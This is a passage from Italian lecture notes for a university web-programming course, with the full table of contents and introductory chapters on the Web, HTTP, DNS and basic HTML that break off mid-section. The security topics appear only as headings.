

Programmazione Web e Mobile

Appunti del Corso

A.A. 2025/2026

Sandi Russo

Università di Messina — CdL in Informatica, Dipartimento MIFT

16 aprile 2026

Indice

1	Il World Wide Web	13
1.1	Introduzione al Web	13
1.2	Architettura Client-Server	13
1.3	Protocolli di rete	13
1.3.1	Protocolli a livello di rete (TCP/IP)	14
1.3.2	Protocolli a livello applicativo (HTTP)	14
1.4	Il protocollo HTTP	14
1.4.1	HTTPS	14
1.5	L'URL (Uniform Resource Locator)	15
1.5.1	Struttura di base	15
1.6	Domini	15
1.6.1	Struttura del dominio	15
1.6.2	Funzioni principali	15
1.6.3	Registrazione dei domini	16
1.7	Il DNS (Domain Name System)	16
1.7.1	Funzionamento del DNS	16
1.8	Organizzazione gerarchica dei domini	16
1.8.1	Top-Level Domain (TLD)	16
1.8.2	Second-Level Domain (SLD)	16
1.8.3	Sotto-dominio	17
1.9	Terminologia di riferimento	17
2	HTML e HTML5	18
2.1	Ipertesti	18
2.2	HTML - HyperText Markup Language	18
2.2.1	Storia di HTML	18
2.3	Struttura di un documento HTML	19
2.4	Elementi vs. Tag in HTML	19
2.5	Browser e HTML	19
2.6	Informazione e Meta-informazione	20
2.7	Contenuto e presentazione in HTML	20
2.8	Creazione di un documento HTML	20

2.8.1	Editor di Testo	20
2.8.2	Editor WYSIWYG	21
2.9	HTML di base: elementi fondamentali	21
2.9.1	DOCTYPE	21
2.9.2	Tag html	22
2.9.3	Tag head	22
2.9.4	Tag body	23
2.10	Elementi di testo	23
2.10.1	Intestazioni	23
2.10.2	Enfatizzazione del testo	23
2.10.3	Tag logici e tag fisici	23
2.10.4	Preformattazione del testo	24
2.10.5	Organizzazione del testo	24
2.10.6	Elementi inline e block	24
2.10.7	Linee di separazione	25
2.11	Liste	25
2.11.1	Liste puntate	25
2.11.2	Liste numerate	25
2.12	Link	26
2.13	Immagini	26
2.14	Mappe cliccabili	26
2.15	Simboli speciali	27
2.16	Tabelle	27
2.17	Frame (iframe)	28
2.18	Form	28
2.18.1	Tag input	29
2.19	HTML5	30
2.19.1	Microdati	30
2.19.2	Modifica del contenuto	30
2.19.3	Web Storage API	30
2.19.4	Canvas	31
2.19.5	Geolocation API	31
2.19.6	Contenuti multimediali	31
2.19.7	Validazione dati	32

2.19.8 Datalist	32
3 CSS - Cascading Style Sheets	33
3.1 Introduzione ai CSS	33
3.1.1 Breve storia	33
3.2 Tipi di CSS	33
3.2.1 Inline CSS	33
3.2.2 Internal (o Embedded) CSS	33
3.2.3 External CSS	34
3.3 Il tag style	34
3.4 Vantaggi dei CSS esterni	34
3.5 Precedenza degli stili	35
3.6 Proprietà per il testo	35
3.7 Selettori CSS	35
3.7.1 Selettore universale	35
3.7.2 Selettori di tipo (o elemento)	35
3.7.3 Selettori di classe	36
3.7.4 Selettori ID	36
3.7.5 Selettori discendenti	36
3.7.6 Selettori di attributo	36
3.7.7 Pseudo-classi	36
3.7.8 Pseudo-elementi	37
3.8 Box Model	37
3.8.1 Componenti del Box Model	37
3.8.2 Proprietà chiave	37
3.8.3 Box Sizing	37
3.9 Posizionamento dei blocchi	38
3.9.1 Static (predefinito)	38
3.9.2 Relative	38
3.9.3 Absolute	38
3.9.4 Fixed	38
3.9.5 Sticky	38
3.10 CSS Grid	38
3.11 Media Query	39

4	Pagine HTML dinamiche	40
4.1	Introduzione	40
4.1.1	Perché sono importanti le pagine web dinamiche?	40
4.2	Pagine HTML dinamiche Client-side	40
4.3	Pagine HTML dinamiche Server-side	40
4.4	Flusso di elaborazione	41
4.4.1	Client-side	41
4.4.2	Server-side	41
4.5	Confronto tra Client-side e Server-side	41
4.5.1	Definizione	41
4.5.2	Tecnologie principali	41
4.5.3	Interazione con il database	41
4.5.4	Tempi di risposta	41
4.5.5	Esempi di utilizzo	42
4.5.6	Sicurezza	42
4.6	Casi d'uso	42
4.6.1	Dinamica Lato Server	42
4.6.2	Dinamica Lato Client	42
5	JavaScript	43
5.1	Storia di JavaScript	43
5.1.1	Nascita di JavaScript (1995)	43
5.1.2	Standardizzazione	43
5.1.3	Nascita di AJAX (circa 2005)	43
5.1.4	Framework e librerie	43
5.1.5	Node.js (2009)	43
5.1.6	ECMAScript 6 (ES6) e oltre (2015)	43
5.1.7	WebAssembly (2017)	44
5.2	Caratteristiche del linguaggio	44
5.2.1	Interpretato	44
5.2.2	Ad alto livello	44
5.2.3	Debolmente tipizzato	44
5.3	Identificatori	44
5.4	Tipi di variabili	45
5.4.1	Tipi primitivi	45

5.4.2	Tipo Date	45
5.4.3	Tipi complessi	45
5.5	Dichiarazione di variabili	46
5.6	Strict Mode	46
5.7	Variabili locali e globali	46
5.8	Operatori	47
5.9	Strutture di controllo	47
5.9.1	Istruzioni condizionali	47
5.9.2	Cicli	47
5.9.3	Controllo del flusso	47
5.10	Funzioni	48
5.10.1	Definizione di una funzione	48
5.10.2	Chiamata di una funzione	48
5.10.3	Funzioni anonime	48
5.10.4	Arrow Functions (ES6)	48
5.11	Funzioni predefinite	49
5.12	JavaScript per il Web	49
5.12.1	Incorporare JavaScript	49
5.12.2	Posizionamento	50
5.13	DOM (Document Object Model)	50
5.13.1	Elementi del DOM	50
5.13.2	Manipolazione del DOM con JavaScript	50
5.14	Eventi	51
5.14.1	Tipi di eventi comuni	51
5.15	Event Propagation	51
5.16	Funzioni di callback	51
5.17	Promise	52
5.17.1	Stati della Promise	52
5.17.2	Uso della Promise	52
5.17.3	Catena di Promise	53
5.18	async/await	53
5.18.1	Funzioni Async	53
5.18.2	Await	53
5.19	Gestione delle eccezioni	54

5.19.1	finally	54
5.19.2	Lanciare eccezioni	54
6	Scope e Closure in JavaScript	55
6.1	Scope	55
6.2	Esempio: contatore	55
6.3	Accesso allo scope	55
6.4	Closure	56
6.4.1	Definizioni di closure	56
6.5	Emulazione di metodi privati con le closure	56
6.5.1	Factory function	57
6.6	Ancora sullo scope	57
6.7	Scope e contesto	58
6.7.1	Il contesto	58
6.8	Contesto di esecuzione	58
6.8.1	Lo stack del contesto di esecuzione	59
6.9	Il contesto di esecuzione in dettaglio	59
6.9.1	Activation / Variable Object [AO/VO]	60
6.10	Scope chain	60
6.11	Lexical scoping	60
6.12	Ancora chiusure	61
6.13	Risoluzione di variabili e prototype chain	62
7	OOP in JavaScript e DOM	63
7.1	Introduzione alla OOP	63
7.2	Terminologia	63
7.3	Programmazione prototype-based	64
7.3.1	Esempio di namespace	64
7.4	Classi e prototipi	65
7.5	Oggetti	65
7.5.1	Il costruttore	65
7.6	Proprietà	65
7.7	Metodi	66
7.7.1	Contesto dei metodi	66
7.8	Ereditarietà	67

7.9	Incapsulamento	68
7.10	Astrazione	68
7.11	Ereditarietà di proprietà	69
7.12	Polimorfismo	69
7.13	Ereditarietà di metodi	69
7.14	Classi in JavaScript (ECMAScript 6)	70
7.14.1	Dichiarazione di classe	70
7.14.2	Class Expression	70
7.14.3	Costruttore	71
7.14.4	Metodi statici	71
7.14.5	This con metodi prototipo e statico	72
7.14.6	Sottoclassi con extends	72
7.14.7	Superclassi con super	73
7.15	Document Object Model (DOM)	73
7.15.1	Verifica supporto DOM level 1	74
7.15.2	Tipi di nodi	74
7.16	Selezionare gli elementi	74
7.16.1	Per id	74
7.16.2	Per tag	74
7.16.3	Query selector	75
7.17	Modificare elementi del DOM	75
7.17.1	Attributi e proprietà	75
7.18	Navigare il DOM	76
7.18.1	Trovare siblings	76
7.19	Aggiungere e rimuovere elementi del DOM	76
7.20	Eventi del DOM	77
7.20.1	Attraverso addEventListener	77
7.20.2	Attraverso gli attributi	77
7.20.3	Attraverso le proprietà	77
8	AJAX e Web 2.0	78
8.1	Lo scenario: Web 2.0	78
8.1.1	Caratteristiche (rispetto al Web 1.0)	78
8.2	Tecnologie per applicazioni web	78
8.2.1	Client-side	78

8.2.2	Server-side	78
8.2.3	Approcci ibridi	79
8.3	AJAX	79
8.3.1	Sincrono vs asincrono	79
8.4	Funzionamento tipico di un'applicazione AJAX	80
8.5	Esempi di AJAX	80
8.5.1	Esempio 1: autocompletamento CAP	80
8.5.2	Esempio 2: menu dinamici	81
8.5.3	Esempio 3: carrello	81
8.5.4	Esempio 4: Single Page Application	81
8.6	Formati di risposta	81
8.6.1	Testo semplice	81
8.6.2	JSON	81
8.6.3	XML	82
8.6.4	JSON e XML	82
8.7	AJAX e jQuery	82
8.7.1	Esempio con jQuery	82
8.8	Aggregare contenuti: RSS e Atom	83
8.8.1	RSS	83
8.8.2	Esempio di lettura di feed RSS con PHP	83
8.8.3	Esempio di feed RSS	84
8.8.4	Atom	84
8.9	Aggregare servizi: mashup	85
8.10	Aggregare servizi: Open API	85
8.10.1	Esempio: Google Maps API	85
8.10.2	Open API vs Open Source	86
8.11	Web Services: REST e SOAP/WSDL	86
9	Tecnologie Server-side	87
9.1	Introduzione alle tecnologie server-side	87
9.2	Inviare dati al Web Server	87
9.2.1	Metodi di invio	87
9.2.2	Moduli online (form)	87
9.2.3	Contenuto della HTTP request	88
9.2.4	Differenza tra i metodi GET e POST	88

9.2.5	Link con parametri	89
9.2.6	URL rewriting	89
9.3	Salvare i dati in un database	89
9.3.1	Database e DBMS	89
9.3.2	Livello logico: rappresentazione tabellare	89
9.3.3	Interazione con un database	90
9.4	PHP	90
9.4.1	Che cos'è PHP	90
9.4.2	Struttura di un'applicazione PHP	91
9.4.3	Funzionamento di PHP	91
9.4.4	Stack LAMP	92
9.4.5	Esempio di interazione con un DB tramite PHP	92
9.5	Digressione: Open Source	93
9.6	Java Servlet	93
9.6.1	Premessa su Java	93
9.6.2	Cosa sono le Java Servlet	94
9.6.3	Esempio di Java Servlet	94
9.6.4	Funzionamento delle Java Servlet	95
9.6.5	Web Server con Servlet Container	96
9.7	JSP (Java Server Pages)	96
9.7.1	Che cosa sono le JSP	96
9.7.2	Esempio di JSP con codice Java	96
9.7.3	Esempio di JSP con tag JSTL	96
9.7.4	Funzionamento delle JSP	97
9.7.5	Tecnologie necessarie	98
9.8	ASP.NET	98
9.9	Common Gateway Interface (CGI)	98
9.9.1	Che cos'è CGI	98
9.9.2	Funzionamento di un programma CGI	99
9.9.3	In cosa consiste un'interfaccia CGI	99
9.10	Python	99
9.11	Perl	100
9.12	Ruby	100
9.13	Strumenti di sviluppo	100

9.13.1 Integrated Development Environment (IDE)	101
9.13.2 Framework	101
9.13.3 Librerie	102
9.14 Come scegliere una tecnologia web	102
10 Servizi RESTful	104
10.1 Introduzione	104
10.2 Principi architetturali	104
10.3 Identificazione delle risorse	104
10.4 Mappare metodi CRUD sui metodi HTTP	105
10.4.1 Esempio: URL non conforme a REST	105
10.5 Risorse autodescrittive	105
10.6 Collegamento tra risorse: HATEOAS	106
10.7 Comunicazione senza stato	106
11 Servizi SOAP/WSDL	107
11.1 Introduzione	107
11.2 XML Schema	107
11.2.1 Cosa permette di fare XML Schema	107
11.2.2 Esempio di documento XML	107
11.2.3 Esempio di XML Schema	108
11.2.4 Spiegazione degli attributi principali	108
11.3 Elementi di un documento WSDL	108
11.3.1 Types (Tipi)	109
11.3.2 Messages (Messaggi)	109
11.3.3 PortType	110
11.3.4 Binding	110
11.3.5 Service	111
11.4 Considerazioni finali	111
12 Sicurezza sul Web	112
12.1 Introduzione	112
12.2 Attacchi non-tecnici	112
12.3 Attacchi tecnici	112
12.3.1 Come sono possibili gli attacchi tecnici	112

12.4	Intrusioni	113
12.4.1	Definizione e motivazioni	113
12.4.2	Messa in sicurezza	113
12.4.3	Tipi di attacchi e difese	113
12.5	Attacchi in fase di autenticazione	113
12.5.1	Autenticazione	113
12.5.2	Tecniche di intrusione	114
12.6	Iniezioni di codice	114
12.6.1	Esempio 1: iniezioni HTML o JavaScript (XSS – Cross-Site Scripting)	114
12.6.2	Esempio 2: iniezioni PHP	114
12.6.3	Esempio 3: iniezioni SQL	115
12.7	Furto di sessione	115
12.7.1	Terminazione insufficiente della sessione	115
12.7.2	Session hijacking	115
12.8	Difese: test audiovisivi	116
12.8.1	Caratteristiche del CAPTCHA	116
12.8.2	CAPTCHA moderni	116
12.9	Difese: validazione dell’input	116
12.9.1	Introduzione	117
12.9.2	Validazione client-side	117
12.9.3	Validazione server-side	117
12.9.4	Ricodifica di caratteri speciali	117
12.9.5	Controlli restrittivi sul formato dell’input	118
12.9.6	Ulteriori precauzioni	118
12.10	Difese: sicurezza della sessione	118
12.11	Conclusioni	119
13	WordPress	120
13.1	Introduzione	120
13.2	Caratteristiche principali	120
13.3	Funzioni base	120
13.3.1	Gestione utenti e ruoli	120
13.3.2	Gestione documenti multimediali	120
13.3.3	Sistema di commenti integrato	121

13.4	Contenuti su WordPress	121
13.5	Configurazioni: wp-config.php	121
13.6	Bacheca di WordPress	121
13.7	Organizzazione dei contenuti	122
13.7.1	I Post	122
13.7.2	Stato dei post	122
13.7.3	Permessi sui post	122
13.8	Tassonomie	123
13.8.1	Categorie	123
13.8.2	Tag	123
13.9	Pagine	123
13.10	Plugin	124
13.10.1	Funzionalità core e Plugin	124
13.10.2	Widget	124
13.10.3	Shortcode	124
13.11	Temi	124
14	Creare un Plugin WordPress	126
14.1	Introduzione	126
14.2	Struttura di file e directory	126
14.3	Header del file principale	126
14.4	Percorsi e URL	127
14.4.1	Percorsi (paths)	127
14.4.2	URL	127
14.5	Azioni e filtri (Hook)	127
14.6	Esempio: plugin “Hello World”	128
14.6.1	Header del plugin	128
14.6.2	Uso di add_action()	128
14.6.3	Creare una voce nel menu di amministrazione	128
14.6.4	Modificare l’interfaccia di amministrazione	129
14.6.5	Commento sul codice	129
14.7	Considerazioni finali	130

1 - Il World Wide Web

1.1 Introduzione al Web

Il World Wide Web (WWW) è un sistema ipermediale di documenti interconnessi, accessibile attraverso la rete Internet. Nato nel 1989 dalla proposta di Tim Berners-Lee al CERN, ha rivoluzionato il modo in cui le persone accedono e condividono informazioni. Di seguito alcuni passaggi storici fondamentali.

- **1989 – Inizio del Web:** Tim Berners-Lee propone un sistema di ipermedia che diventerà il World Wide Web.
- **1991 – Primi siti Web:** viene pubblicato il primo sito web, introducendo il concetto di navigazione attraverso link.
- **1993 – Mosaic:** il primo browser grafico rende il web accessibile a molti più utenti.
- **1995 – Nascita di JavaScript:** Netscape introduce JavaScript, dando il via allo sviluppo di pagine web dinamiche.
- **1998 – Google:** Larry Page e Sergey Brin fondano Google, rivoluzionando la ricerca sul web.
- **2004 – Web 2.0:** si afferma il concetto di Web 2.0, con siti interattivi, social media e piattaforme basate su utenti come contenuto principale.
- **2010 – Diffusione del mobile:** l'adozione crescente di smartphone e tablet spinge verso design e tecnologie web responsive.

1.2 Architettura Client-Server

Il Web si basa sul modello **Client-Server**:

- **Client:** richiede risorse (es. PC, smartphone, tablet). Tipicamente è il browser.
- **Server:** fornisce risorse; è un sistema potente e multi-utente, in grado di gestire molte richieste contemporaneamente.

1.3 Protocolli di rete

Un **protocollo** è un insieme di regole e convenzioni che definiscono come i dati vengono trasmessi, elaborati e ricevuti in una rete di computer.

1.3.1 Protocolli a livello di rete (TCP/IP)

- **Scopo:** gestire la comunicazione e il routing dei dati su Internet.
- **Livello di funzionamento:** livello di rete, fornisce l'infrastruttura di base per il trasferimento dei dati.
- **Esempi:** TCP (Transmission Control Protocol) e IP (Internet Protocol) gestiscono la consegna dei dati attraverso Internet.
- **Caratteristiche:** affidabilità, routing, consegna dei pacchetti.

1.3.2 Protocolli a livello applicativo (HTTP)

- **Scopo:** definiscono come le applicazioni e i servizi interagiscono tra loro.
- **Livello di funzionamento:** livello applicativo, specifica le regole per le richieste e le risposte tra client e server.
- **Esempio:** HTTP (HyperText Transfer Protocol) è utilizzato per il trasferimento di pagine web nei browser.
- **Caratteristiche:** comunicazione tra applicazioni, definizione di metodi di richiesta (GET, POST, ...), gestione delle risorse web.

1.4 Il protocollo HTTP

HTTP (HyperText Transfer Protocol) è il protocollo standard utilizzato per la comunicazione sul Web. Le sue caratteristiche principali sono:

- **Stateless:** ogni richiesta è indipendente dalle altre, il server non mantiene memoria delle richieste precedenti.
- **Protocollo basato su testo:** utilizza testo leggibile, facilmente ispezionabile.
- **Connessione TCP:** affidabile e sequenziale.
- **Metodi di richiesta:** GET, POST, PUT, DELETE, ecc.
- **Header HTTP:** trasmettono informazioni aggiuntive (tipo di contenuto, autenticazione, ...).
- **Porte predefinite:** 80 per HTTP e 443 per HTTPS.

1.4.1 HTTPS

HTTPS è la versione sicura di HTTP:

- utilizza la crittografia SSL/TLS per proteggere i dati in transito;
- garantisce privacy e sicurezza delle comunicazioni;

- è fondamentale per siti che gestiscono dati sensibili (e-commerce, home banking, login, ...).

1.5 L'URL (Uniform Resource Locator)

Un **URL** è una sequenza di caratteri che identifica in modo univoco l'indirizzo di una risorsa sul Web.

1.5.1 Struttura di base

- **Schema:** specifica il protocollo di comunicazione (es. `http`, `https`, `ftp`).
- **Dominio:** indirizzo del server che ospita la risorsa (es. `www.example.com`).
- **Percorso:** specifica la posizione della risorsa nel server (es. `/paginaweb/index.html`).
- **Parametri:** opzionali, trasmettono informazioni aggiuntive (es. `?id=123`).
- **Anchor:** opzionale, specifica una posizione all'interno della pagina (es. `#sezione`).

Esempio completo di URL:

```
https://www.example.com/paginaweb/index.html?id=123#sezione
```

1.6 Domini

Un **dominio web** è l'indirizzo di un sito web che fornisce un'identità unica e facile da ricordare per accedere a risorse su Internet.

1.6.1 Struttura del dominio

- **Nome di Dominio:** l'identificatore principale (es. `www.example.com`).
- **Estensione di Dominio:** la parte finale, generalmente indicante la natura del sito (es. `.com`, `.org`, `.net`, `.edu`).

1.6.2 Funzioni principali

- **Identificazione:** un dominio identifica un sito web in modo univoco sulla rete.
- **Indirizzamento:** fornisce l'indirizzo utilizzato dai browser per accedere alle pagine web.
- **Branding:** spesso riflette il nome di un'azienda o l'obiettivo del sito per scopi di branding.

1.6.3 Registrazione dei domini

I domini web devono essere registrati tramite *registrar* autorizzati. La disponibilità dei nomi di dominio è soggetta a verifica e può richiedere una tassa annuale per il mantenimento.

1.7 Il DNS (Domain Name System)

Il **Domain Name System (DNS)** è un sistema che traduce gli indirizzi web facili da ricordare (nomi di dominio) in indirizzi IP, consentendo ai computer di individuare e comunicare tra loro su Internet.

1.7.1 Funzionamento del DNS

1. **Richiesta di risoluzione DNS:** un utente invia una richiesta per accedere a un sito web utilizzando il nome di dominio (es. `www.example.com`).
2. **Interrogazione DNS:** la richiesta viene inviata al server DNS locale (o al server DNS del provider Internet).
3. **Ricerca nel database DNS:** il server DNS cerca il nome di dominio nel suo database. Se lo trova, restituisce l'indirizzo IP corrispondente.
4. **Caching DNS:** se l'indirizzo IP è stato recentemente richiesto, potrebbe essere memorizzato nella cache DNS locale per accelerare le future richieste.
5. **Risposta al client:** il server DNS invia l'indirizzo IP al dispositivo client.
6. **Accesso al sito web:** il dispositivo utilizza l'indirizzo IP ricevuto per stabilire una connessione con il server del sito web desiderato.

1.8 Organizzazione gerarchica dei domini

I domini web seguono una struttura gerarchica che facilita l'organizzazione e la gestione degli indirizzi web su Internet.

1.8.1 Top-Level Domain (TLD)

Rappresenta la categoria generale o la nazionalità di un dominio. Esempi: `.com`, `.org`, `.net`, `.gov`, `.uk`, `.fr`, `.it`.

1.8.2 Second-Level Domain (SLD)

- si trova sotto il TLD;
- solitamente rappresenta il nome specifico del sito o dell'azienda;

- esempio: `example` in `www.example.com`.

1.8.3 Sotto-dominio

- facoltativo e situato sotto l'SLD;
- può essere utilizzato per specificare sottosezioni o servizi all'interno di un sito;
- esempio: `www` in `www.example.com`.

1.9 Terminologia di riferimento

- **Dominio:** indirizzo principale di un sito web su Internet, utilizzato per identificarlo univocamente.
- **Sito Web:** insieme di pagine web collegate tra loro che condividono lo stesso dominio.
- **Pagina Web:** documento digitale visualizzabile in un browser web.
- **Home Page:** pagina iniziale di un sito web, tipicamente il punto di ingresso per i visitatori.

2 - HTML e HTML5

2.1 Iper testi

Un **ipertesto** è un sistema di documentazione o di scrittura digitale in cui i testi, le immagini e altri contenuti sono collegati tra loro attraverso collegamenti (link).

- **Link:** i collegamenti consentono agli utenti di passare da un punto all'altro all'interno del testo o di accedere a risorse esterne.
- **Navigazione non lineare:** gli ipertesti consentono una lettura non lineare, in cui gli utenti possono selezionare quali contenuti esplorare successivamente.
- **Struttura a nodi:** gli ipertesti spesso seguono una struttura ad albero o a rete di nodi collegati tra loro.

Esempi di ipertesti:

- **World Wide Web (WWW):** il web è un esempio di sistema di ipertesti in cui i collegamenti ipertestuali (link) consentono agli utenti di navigare tra pagine web.
- **Ebook Interattivi:** alcuni ebook consentono di esplorare il contenuto in modo non lineare attraverso link o riferimenti incrociati.

2.2 HTML - HyperText Markup Language

HTML è il linguaggio di markup standard utilizzato per la creazione e la strutturazione delle pagine web. Utilizza marcatori o *tag* per definire l'aspetto e la struttura del contenuto. Supporta testo, immagini, link, forme e altri elementi web. HTML è fondamentale per la creazione di pagine web e costituisce il linguaggio di base per il Web.

2.2.1 Storia di HTML

HTML è stato sviluppato nel 1989 da Tim Berners-Lee, inventore del World Wide Web, presso il CERN (Organizzazione Europea per la Ricerca Nucleare) in Svizzera.

- **HTML 1.0:** nel 1993 è stata pubblicata la prima specifica HTML 1.0, che ha introdotto concetti come link e form.
- **Evoluzione:** nel corso degli anni, HTML ha subito numerose revisioni, tra cui HTML 2.0, HTML 3.2 e HTML 4.0.
- **XHTML e HTML5:** l'evoluzione ha portato a XHTML (una versione più rigorosa di HTML) e successivamente a HTML5, che ha introdotto nuove funzionalità e semplificato la creazione di contenuti multimediali.

- **Standard W3C:** HTML5 è diventato uno standard del World Wide Web Consortium (W3C) nel 2014 ed è ampiamente utilizzato per sviluppare pagine web moderne.

2.3 Struttura di un documento HTML

- **DOCTYPE:** dichiarazione di tipo di documento. Indica la versione di HTML utilizzata.
- **Elemento HTML:** elemento radice del documento. Contiene tutto il contenuto HTML.
- **Elemento Head:** contiene metadati e informazioni sulla pagina. Non visibile all'utente.
- **Elemento Body:** contiene il contenuto principale della pagina, visibile all'utente.

```
1 <!DOCTYPE html>
2 <html lang="it">
3 <head>
4     <meta charset="UTF-8">
5     <title>Titolo della pagina</title>
6 </head>
7 <body>
8     <h1>Intestazione principale</h1>
9     <p>Contenuto della pagina.</p>
10 </body>
11 </html>
```

Listing 2.1: Struttura di base di un documento HTML

2.4 Elementi vs. Tag in HTML

Tag HTML: un tag HTML è una parte del codice HTML che viene utilizzata per definire un elemento. Esempio: `<p>`, `<h1>`, `<a>`, `<img>`.

Elemento HTML: un elemento HTML è costituito da un tag HTML e tutto ciò che contiene, inclusi attributi e contenuto. Esempio: `<a href="https://www.example.com">Visita Example</a>`.

Differenze: un tag è una parte specifica del codice HTML, come `<p>`, che rappresenta un elemento. Un elemento è composto da un tag, eventuali attributi (come `href` in `<a>`), e il contenuto all'interno delle parentesi angolari.

2.5 Browser e HTML

I browser web hanno giocato un ruolo cruciale nell'evoluzione del linguaggio di markup HTML, contribuendo alla sua crescita e alla sua adozione diffusa.

Negli anni '90, i primi browser (come Netscape Navigator e Internet Explorer) hanno introdotto molte caratteristiche proprietarie non standard, creando incompatibilità tra browser. L'istituzione del World Wide Web Consortium (W3C) ha promosso la standardizzazione di HTML, dando origine a HTML4 e XHTML.

Rinascita con HTML5: HTML5, introdotto nel 2014, è stato sviluppato in risposta alle esigenze dei moderni browser e ha introdotto nuove funzionalità e semantica.

2.6 Informazione e Meta-informazione

- **Informazione:** i contenuti principali della pagina web, visibili agli utenti. Ad esempio, testo, immagini, link, ecc. Si trova principalmente nell'elemento `<body>`.
- **Meta-informazione:** informazioni aggiuntive sulla pagina web, non visibili direttamente agli utenti, ma utili per il browser e i motori di ricerca. Si trova principalmente nell'elemento `<head>`.

L'elemento `<head>` contiene meta-informazioni mentre l'elemento `<body>` contiene le informazioni.

2.7 Contenuto e presentazione in HTML

- **Contenuti:** tutto ciò che viene visualizzato sul sito web, come testo, immagini e video. È principalmente definito usando HTML.
- **Presentazione:** l'aspetto estetico dei contenuti, come colori, stili e layout. È principalmente gestito usando CSS.

Importanza della separazione:

- **Manutenibilità:** rende il codice più facile da mantenere e aggiornare.
- **Accessibilità:** crea un sito web che sia accessibile a tutti gli utenti, inclusi quelli con disabilità.
- **Riutilizzo:** permette di riutilizzare lo stesso codice CSS per stilizzare diversi elementi o pagine.
- **Performance:** ottimizza il tempo di caricamento del sito web riducendo il sovraccarico del codice.

2.8 Creazione di un documento HTML

2.8.1 Editor di Testo

Strumento che permette di scrivere codice HTML come testo semplice.

Esempi: Notepad, Sublime Text, Visual Studio Code, Atom.

Vantaggi:

- Controllo completo sul codice.
- Leggero e veloce.
- Personalizzabile con plugin e temi.

Svantaggi:

- Richiede conoscenza del linguaggio HTML.
- Non mostra un'anteprima in tempo reale del documento finale.

2.8.2 Editor WYSIWYG

(What You See Is What You Get) Strumento che permette di creare pagine web visualizzando in tempo reale il risultato finale.

Esempi: Adobe Dreamweaver, Microsoft FrontPage, Word.

Vantaggi:

- Facile da usare anche per chi non conosce il linguaggio HTML.
- Mostra un'anteprima in tempo reale del documento.

Svantaggi:

- Meno controllo sul codice generato.
- Può essere più pesante e meno personalizzabile.

2.9 HTML di base: elementi fondamentali

2.9.1 DOCTYPE

`<!DOCTYPE>` è una dichiarazione che deve essere posizionata all'inizio di ogni documento HTML. Non è un tag HTML, ma serve per informare il browser della versione di HTML utilizzata nella pagina.

Funzioni:

- **Modalità di Rendering:** aiuta il browser a determinare in quale modalità di rendering visualizzare la pagina (Standards mode, Quirks mode).
- **Compatibilità:** assicura che il browser interpreti e visualizzi la pagina come previsto, indipendentemente dalla versione di HTML.
- **Errori di Visualizzazione:** senza un `<!DOCTYPE>` corretto, i browser potrebbero visualizzare la pagina in modo errato.

- **Standardizzazione:** favorisce la coerenza e la standardizzazione tra diverse pagine web e browser.

Per HTML5, la dichiarazione `<!DOCTYPE html>` è sufficiente e deve essere posizionata prima di qualsiasi altro tag nella pagina.

2.9.2 Tag html

`<html>` è la radice di un documento HTML, e contiene tutti gli altri elementi del documento, divisi in `<head>` e `<body>`.

Struttura:

- `<head>`: contiene meta-informazioni, link a fogli di stile, e altri dati non visibili all'utente.
- `<body>`: contiene tutto il contenuto visibile della pagina, come testi, immagini, link, ecc.

Attributi:

- `lang`: definisce la lingua del documento, ad es. `lang="it"` per l'italiano. È importante per l'accessibilità e la SEO.

2.9.3 Tag head

`<head>` è l'elemento di HTML che contiene meta-informazioni sulla pagina web, come titolo del documento, link ai CSS, e definizioni di caratteri e icone.

Componenti Principali:

- `<title>`: definisce il titolo del documento, visualizzato sulla scheda del browser.
- `<meta>`: fornisce meta-informazioni come la codifica dei caratteri e la descrizione della pagina.
- `<link>`: collega risorse esterne come fogli di stile CSS e favicon.
- `<style>`: contiene stili CSS interni.
- `<script>`: può contenere codice JavaScript.

Importanza:

- **Organizzazione:** aiuta a mantenere organizzate le informazioni di configurazione e stile della pagina.
- **SEO:** gli elementi come `<title>` e `<meta>` sono cruciali per l'ottimizzazione dei motori di ricerca.
- **Personalizzazione e Stile:** permette di collegare fogli di stile CSS e definire stili interni per personalizzare l'aspetto della pagina.

2.9.4 Tag body

`<body>` è l'elemento di HTML che contiene tutto il contenuto visibile di una pagina web, come testo, immagini, link, tabelle, liste, ecc.

Caratteristiche:

- È l'elemento che contiene tutto ciò che è visualizzato nel browser.
- Va dopo il tag `<head>` e dentro il tag `<html>`.

È possibile definire degli attributi di stile (`bgcolor`, `background`, ecc.), ma non è una buona pratica.

2.10 Elementi di testo

2.10.1 Intestazioni

I tag `<h1>`–`<h6>` sono utilizzati per definire le intestazioni in HTML. `<h1>` è l'intestazione di livello più alto e più importante, mentre `<h6>` è quella di livello più basso e meno importante.

Utilizzo:

- Utilizzati per strutturare il contenuto della pagina, dando importanza e gerarchia ai vari pezzi di testo.
- Permettono ai motori di ricerca di comprendere la struttura del contenuto della pagina web.

2.10.2 Enfattizzazione del testo

- `<b>` e `<i>`: utilizzati per cambiare visivamente il peso e lo stile del testo, rispettivamente in grassetto e corsivo. Non aggiungono significato semantico.
- `<strong>` e `<em>`: aggiungono enfasi al testo, rendendolo rispettivamente grassetto e corsivo, e danno un significato semantico di maggiore importanza ed enfasi.

Importanza Semantica: l'utilizzo di tag semantici come `<strong>` e `<em>` può migliorare l'accessibilità del sito web e può avere un impatto sul SEO, poiché i motori di ricerca possono usare questi tag per determinare l'importanza del testo enfattizzato.

2.10.3 Tag logici e tag fisici

- **Tag logici:** definiscono la struttura e il significato del contenuto, come `<main>`, `<article>`, `<em>` e `<strong>`.

- **Tag fisici:** modificano l'aspetto del contenuto senza cambiare il suo significato, come `<b>` per il grassetto e `<i>` per il corsivo.

Differenze:

- **Significato Semantico:** i tag logici aggiungono significato semantico al contenuto, i tag fisici no.
- **Stile vs Struttura:** i tag fisici sono orientati allo stile, mentre i tag logici sono orientati alla struttura e al significato del contenuto.
- **Accessibilità e SEO:** i tag logici migliorano l'accessibilità e possono influire positivamente sul SEO del sito.

2.10.4 Preformattazione del testo

- `<pre>`: mantiene spaziature e linee vuote, rendendo il testo facilmente leggibile, utilizzato principalmente per codice sorgente o testo preformattato.
- `<code>`: definisce una singola linea di codice. Usato per visualizzare un singolo pezzo di codice all'interno di un normale flusso di testo.

2.10.5 Organizzazione del testo

- `<p>`: definisce un paragrafo di testo. È un elemento a blocco che separa il contenuto in sezioni.
- `<div>`: un contenitore generico che racchiude altri elementi. È spesso usato con CSS per stilizzare o con JavaScript per manipolare diversi elementi contemporaneamente.
- `<br>`: rappresenta una interruzione di linea, facendo sì che il contenuto successivo appaia su una nuova linea.

2.10.6 Elementi inline e block

- **Elementi Block:** creano un "blocco" e iniziano su una nuova linea, estendendosi per tutta la larghezza disponibile. Esempi: `<div>`, `<p>`, `<h1>`–`<h6>`.
